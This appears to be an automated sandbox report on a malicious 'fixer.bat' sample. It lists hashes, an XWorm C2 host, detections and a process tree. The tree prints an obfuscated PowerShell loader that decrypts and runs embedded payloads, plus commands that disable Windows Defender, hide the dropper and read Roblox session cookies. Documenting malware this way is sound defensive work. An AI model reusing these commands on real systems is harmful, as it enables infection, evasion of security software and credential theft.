Resubmissions
01-12-2024 17:49
241201-wd91zaskbr 1001-12-2024 17:46
241201-wcqkyaxmaw 1001-12-2024 17:37
241201-v7ftjsxlcv 10Analysis
-
max time kernel
45s -
max time network
80s -
platform
windows10-ltsc 2021_x64 -
resource
win10ltsc2021-20241023-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system -
submitted
01-12-2024 17:46
Static task
static1
General
-
Target
fixer.bat
-
Size
259KB
-
MD5
63f3ebe3fe598479517c1843d1f05944
-
SHA1
4aaeed78293c47805595957cc3fa71d5fdd07d15
-
SHA256
48b14d5f105efa0097cc24de8bbf0c334da58906addc06a9a42fe8274d8759e2
-
SHA512
12d5f9c569812a7cef6838c64414757689ee811aecfbc21465b36c0bcecb755b8d75a5f5663bbc5e7d102532ed64cc788b370a00464869044e8576699d0b1e7b
-
SSDEEP
6144:SIujxg7ViKrBi4Jya9IlvpPxmbkdtEGQQ9ZGeRFBc81tx4Z:m8VTrBiuEpYI3EQzJRFB5GZ
Malware Config
Extracted
xworm
5.0
cheflilou-43810.portmap.host:43810
q2m91QtHDnjEQolK
-
Install_directory
%AppData%
-
install_file
USB.exe
Signatures
-
Detect Umbral payload 2 IoCs
resource yara_rule behavioral1/files/0x00290000000450ab-26.dat family_umbral behavioral1/memory/4036-36-0x000001E9F6520000-0x000001E9F6560000-memory.dmp family_umbral -
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/3608-16-0x00000201FECE0000-0x00000201FECEE000-memory.dmp family_xworm -
Umbral family
-
Xworm family
-
Blocklisted process makes network request 1 IoCs
flow pid Process 22 3608 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1356 powershell.exe 3608 powershell.exe 3684 powershell.exe 3276 powershell.exe 2640 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts ficybd.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JHost5050.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JHost5050.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4036 ficybd.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 42 discord.com 41 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 36 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1704 cmd.exe 4988 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2232 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4988 PING.EXE -
Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 3608 powershell.exe 3608 powershell.exe 2320 wmic.exe 2320 wmic.exe 2320 wmic.exe 2320 wmic.exe 4036 ficybd.exe 1356 powershell.exe 1356 powershell.exe 3684 powershell.exe 3684 powershell.exe 3276 powershell.exe 3276 powershell.exe 3256 powershell.exe 3256 powershell.exe 5064 wmic.exe 5064 wmic.exe 5064 wmic.exe 5064 wmic.exe 3972 wmic.exe 3972 wmic.exe 3972 wmic.exe 3972 wmic.exe 2164 wmic.exe 2164 wmic.exe 2164 wmic.exe 2164 wmic.exe 2640 powershell.exe 2640 powershell.exe 2232 wmic.exe 2232 wmic.exe 2232 wmic.exe 2232 wmic.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3608 powershell.exe Token: SeDebugPrivilege 3608 powershell.exe Token: SeDebugPrivilege 4036 ficybd.exe Token: SeIncreaseQuotaPrivilege 2320 wmic.exe Token: SeSecurityPrivilege 2320 wmic.exe Token: SeTakeOwnershipPrivilege 2320 wmic.exe Token: SeLoadDriverPrivilege 2320 wmic.exe Token: SeSystemProfilePrivilege 2320 wmic.exe Token: SeSystemtimePrivilege 2320 wmic.exe Token: SeProfSingleProcessPrivilege 2320 wmic.exe Token: SeIncBasePriorityPrivilege 2320 wmic.exe Token: SeCreatePagefilePrivilege 2320 wmic.exe Token: SeBackupPrivilege 2320 wmic.exe Token: SeRestorePrivilege 2320 wmic.exe Token: SeShutdownPrivilege 2320 wmic.exe Token: SeDebugPrivilege 2320 wmic.exe Token: SeSystemEnvironmentPrivilege 2320 wmic.exe Token: SeRemoteShutdownPrivilege 2320 wmic.exe Token: SeUndockPrivilege 2320 wmic.exe Token: SeManageVolumePrivilege 2320 wmic.exe Token: 33 2320 wmic.exe Token: 34 2320 wmic.exe Token: 35 2320 wmic.exe Token: 36 2320 wmic.exe Token: SeIncreaseQuotaPrivilege 2320 wmic.exe Token: SeSecurityPrivilege 2320 wmic.exe Token: SeTakeOwnershipPrivilege 2320 wmic.exe Token: SeLoadDriverPrivilege 2320 wmic.exe Token: SeSystemProfilePrivilege 2320 wmic.exe Token: SeSystemtimePrivilege 2320 wmic.exe Token: SeProfSingleProcessPrivilege 2320 wmic.exe Token: SeIncBasePriorityPrivilege 2320 wmic.exe Token: SeCreatePagefilePrivilege 2320 wmic.exe Token: SeBackupPrivilege 2320 wmic.exe Token: SeRestorePrivilege 2320 wmic.exe Token: SeShutdownPrivilege 2320 wmic.exe Token: SeDebugPrivilege 2320 wmic.exe Token: SeSystemEnvironmentPrivilege 2320 wmic.exe Token: SeRemoteShutdownPrivilege 2320 wmic.exe Token: SeUndockPrivilege 2320 wmic.exe Token: SeManageVolumePrivilege 2320 wmic.exe Token: 33 2320 wmic.exe Token: 34 2320 wmic.exe Token: 35 2320 wmic.exe Token: 36 2320 wmic.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeIncreaseQuotaPrivilege 1356 powershell.exe Token: SeSecurityPrivilege 1356 powershell.exe Token: SeTakeOwnershipPrivilege 1356 powershell.exe Token: SeLoadDriverPrivilege 1356 powershell.exe Token: SeSystemProfilePrivilege 1356 powershell.exe Token: SeSystemtimePrivilege 1356 powershell.exe Token: SeProfSingleProcessPrivilege 1356 powershell.exe Token: SeIncBasePriorityPrivilege 1356 powershell.exe Token: SeCreatePagefilePrivilege 1356 powershell.exe Token: SeBackupPrivilege 1356 powershell.exe Token: SeRestorePrivilege 1356 powershell.exe Token: SeShutdownPrivilege 1356 powershell.exe Token: SeDebugPrivilege 1356 powershell.exe Token: SeSystemEnvironmentPrivilege 1356 powershell.exe Token: SeRemoteShutdownPrivilege 1356 powershell.exe Token: SeUndockPrivilege 1356 powershell.exe Token: SeManageVolumePrivilege 1356 powershell.exe Token: 33 1356 powershell.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 4068 wrote to memory of 3608 4068 cmd.exe 84 PID 4068 wrote to memory of 3608 4068 cmd.exe 84 PID 3608 wrote to memory of 4036 3608 powershell.exe 93 PID 3608 wrote to memory of 4036 3608 powershell.exe 93 PID 4036 wrote to memory of 2320 4036 ficybd.exe 94 PID 4036 wrote to memory of 2320 4036 ficybd.exe 94 PID 4036 wrote to memory of 644 4036 ficybd.exe 96 PID 4036 wrote to memory of 644 4036 ficybd.exe 96 PID 4036 wrote to memory of 1356 4036 ficybd.exe 98 PID 4036 wrote to memory of 1356 4036 ficybd.exe 98 PID 4036 wrote to memory of 3684 4036 ficybd.exe 101 PID 4036 wrote to memory of 3684 4036 ficybd.exe 101 PID 4036 wrote to memory of 3276 4036 ficybd.exe 103 PID 4036 wrote to memory of 3276 4036 ficybd.exe 103 PID 4036 wrote to memory of 3256 4036 ficybd.exe 105 PID 4036 wrote to memory of 3256 4036 ficybd.exe 105 PID 4036 wrote to memory of 5064 4036 ficybd.exe 107 PID 4036 wrote to memory of 5064 4036 ficybd.exe 107 PID 4036 wrote to memory of 3972 4036 ficybd.exe 109 PID 4036 wrote to memory of 3972 4036 ficybd.exe 109 PID 4036 wrote to memory of 2164 4036 ficybd.exe 111 PID 4036 wrote to memory of 2164 4036 ficybd.exe 111 PID 4036 wrote to memory of 2640 4036 ficybd.exe 113 PID 4036 wrote to memory of 2640 4036 ficybd.exe 113 PID 4036 wrote to memory of 2232 4036 ficybd.exe 115 PID 4036 wrote to memory of 2232 4036 ficybd.exe 115 PID 4036 wrote to memory of 1704 4036 ficybd.exe 117 PID 4036 wrote to memory of 1704 4036 ficybd.exe 117 PID 1704 wrote to memory of 4988 1704 cmd.exe 119 PID 1704 wrote to memory of 4988 1704 cmd.exe 119 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 644 attrib.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fixer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLcV5Di0lrYzeB8Z5oXuvc+IYrKKIGk30pV1obfMeT4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8hV4bFs+GCRTAu0FDqlpAg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JhDGU=New-Object System.IO.MemoryStream(,$param_var); $kMVbR=New-Object System.IO.MemoryStream; $mBSnP=New-Object System.IO.Compression.GZipStream($JhDGU, [IO.Compression.CompressionMode]::Decompress); $mBSnP.CopyTo($kMVbR); $mBSnP.Dispose(); $JhDGU.Dispose(); $kMVbR.Dispose(); $kMVbR.ToArray();}function execute_function($param_var,$param2_var){ $fmLYa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $hvYPj=$fmLYa.EntryPoint; $hvYPj.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\fixer.bat';$TAymA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\fixer.bat').Split([Environment]::NewLine);foreach ($kvbgu in $TAymA) { if ($kvbgu.StartsWith(':: ')) { $IkiFk=$kvbgu.Substring(3); break; }}$payloads_var=[string[]]$IkiFk.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Users\Admin\AppData\Local\Temp\ficybd.exe"C:\Users\Admin\AppData\Local\Temp\ficybd.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2320
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ficybd.exe"4⤵
- Views/modifies file attributes
PID:644
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ficybd.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1356
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 24⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3684
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3276
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3256
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5064
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3972
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid4⤵
- Suspicious behavior: EnumeratesProcesses
PID:2164
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2640
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name4⤵
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
PID:2232
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ficybd.exe" && pause4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\system32\PING.EXEping localhost5⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4988
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53eb3833f769dd890afc295b977eab4b4
SHA1e857649b037939602c72ad003e5d3698695f436f
SHA256c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
SHA512c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72
-
Filesize
1KB
MD5ad8d5687e7c2fb53a11e30b13b4481d2
SHA137b8b35e5d41b21d5a6afd343dbcde469571d60a
SHA256c39aa3bb59ecd45342a4f8deeff6910ea66769fb6179562824a7802516fd4f28
SHA51270cc821047b027a53a9567354c03ae058974adb13613dc06127bfef86daed25783182c7e24751483db1f9938de44eccb2c634579457c7f6b2ac403e68ee3004e
-
Filesize
1KB
MD560b3262c3163ee3d466199160b9ed07d
SHA1994ece4ea4e61de0be2fdd580f87e3415f9e1ff6
SHA256e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb
SHA512081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af
-
Filesize
948B
MD59e84791e002bacedd66f4fb293b6ff63
SHA10711b437e7f394521c3b0c701e35b761d6b2fa07
SHA256e2a9eccacf36d9db2d21db98b6f48f4eed5913c291a27049e7aa75ff65ad7a84
SHA5125ebf3ce590b3cb5fc7fd53d5af5bb3d84f5910171e61de293c00b1c8d26324d849745fa816c38ee90c30e438c71e8a1d7df6e63438810c8e5ed12b3d112884e1
-
Filesize
1KB
MD58e1fdd1b66d2fee9f6a052524d4ddca5
SHA10a9d0994559d1be2eecd8b0d6960540ca627bdb6
SHA2564cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13
SHA5125a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
227KB
MD5d2d3a70b2bb57de2e98a24e8dac7a79c
SHA11d527ece8a8a52948928a8b1c15bbe329c16f4db
SHA2567c686dffa28318119a8c0a5fbd17fb828894470f8b61f3d3339393c3f634391a
SHA512de561197eb37385c46a461c04066c45c1b8be2136c16524e04085a8bdf46b1073b20bd86de45cee296619c166cd1acee7921ffe60fa7c9bdd95d9a7a95787687